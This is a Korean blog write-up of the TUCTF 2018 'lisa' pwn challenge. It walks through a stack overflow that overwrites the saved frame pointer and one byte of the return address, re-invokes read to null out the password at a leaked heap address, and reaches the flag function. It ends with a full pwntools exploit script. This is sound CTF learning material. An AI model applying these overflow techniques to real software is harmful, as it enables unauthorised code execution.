tuctf2018 lisa

write-up/CTF 2019. 1. 9. 13:36

미티게이션이 특이하다. PIE와 NX가 걸려있고, canary는 없다.


main함수에서 

8 번째 줄에서 bss영역인 pass에 malloc을 하고, 

9 번째 줄에서 그 주소를 릭해준다.

이걸로 인해 PIE나 ASLR이 우회가 가능할 것으로 보인다. (처음에는 그런줄 알았다...)


위 함수는 취약한 함수인 fail 함수이다.

매개변수인 buf에 29바이트(0x1d)만큼 받는데,

buf는 ebp에서 24바이트 (0x18) 만큼 떨어져있다.


그러니까 대충 아래와 같은 구조이다.

buf (24)

 sfp

 ret

이 상태에서 29바이트 만큼 read받으니까 sfp를 덮을 수 있고, 

그 이후에 두 번의 leave-ret이 실행되므로 (checkPass leave-ret, main leave-ret)

fake ebp라고 생각했다.

그리고 아래 lisa()함수 내에 플래그를 읽어주는 부분도 있다.



하지만 heap leak하나 만으로는 저 부분으로 흐름 조작하기가 쉽지 않아 꽤나 고생했다.

fake ebp를 통해 성공적으로 eip를 잡을 수 있지만, 

이 기법이 성공하기 위해선 흐름을 조작하기 원하는 곳의 주소가 메모리에 있어야 했고, (ret 명령어는 pop eip; jmp eip 이므로)

더군다나 PIE가 걸려있어 불가능했다.


이쯤에서 다음 사실을 재-상기해보자.

1. heap 릭을 해준다.

2. sfp까지 덮을 수 있지만, 사실 리턴 어드레스(eip)도 한 바이트 덮을 수 있다.


main함수를 다시 보면, 14번 째 줄에서 read함수를 부른다.


eip조작하여 한 바이트 오버플로우 난 부분은 사실상 checkPass()함수의 리턴어드레스이므로 main으로 돌릴 수 있다.

0x15로 돌리면 된다.



main의 11번째 줄에서 맨 처음에 read받을 때 조작할 read의 매개변수를 미리 넣어주고, 

그다음에 read를 call하면 릭한 곳에 원하는 값을 넣을 수 있다.

leak한 주소에 1바이트 "\x00"을 박으면 password는 null이 되고, inp는 payload1이므로 역시 1이 된다.

둘 다 널이 되므로,

password를 모르더라고 checkPass() 함수 내의 if문을 통과할 수 있고, lisa() 함수를 부를 수 있다.


from pwn import *

#context.terminal = ['tmux', 'splitw', '-h']

p = process('./lisa')
e = ELF('./lisa', checksec=False)
code_base = p.libs()[e.path]

#gdb.attach(p, 'b*'+str((code_base+0xd15)))

print 'code base :', hex(code_base)

p.recvuntil('0x')
leak = int(p.recv(8), 16)
print 'leak :', hex(leak)

payload1 = p32(0x0) # fd
payload1 += p32(leak) # buf
payload1 += p32(1) # len
p.sendafter('alright...', payload1)

payload2 = "A"*28
payload2 += "\x15" # call read

p.sendafter("mouth?\n", payload2)

p.send("\x00")
p.interactive()

'write-up > CTF' 카테고리의 다른 글

tuctf2018 lisa  (0) 2019.01.09
h3x0r CTF  (0) 2017.01.08
Posted by 범고래_1

댓글을 달아 주세요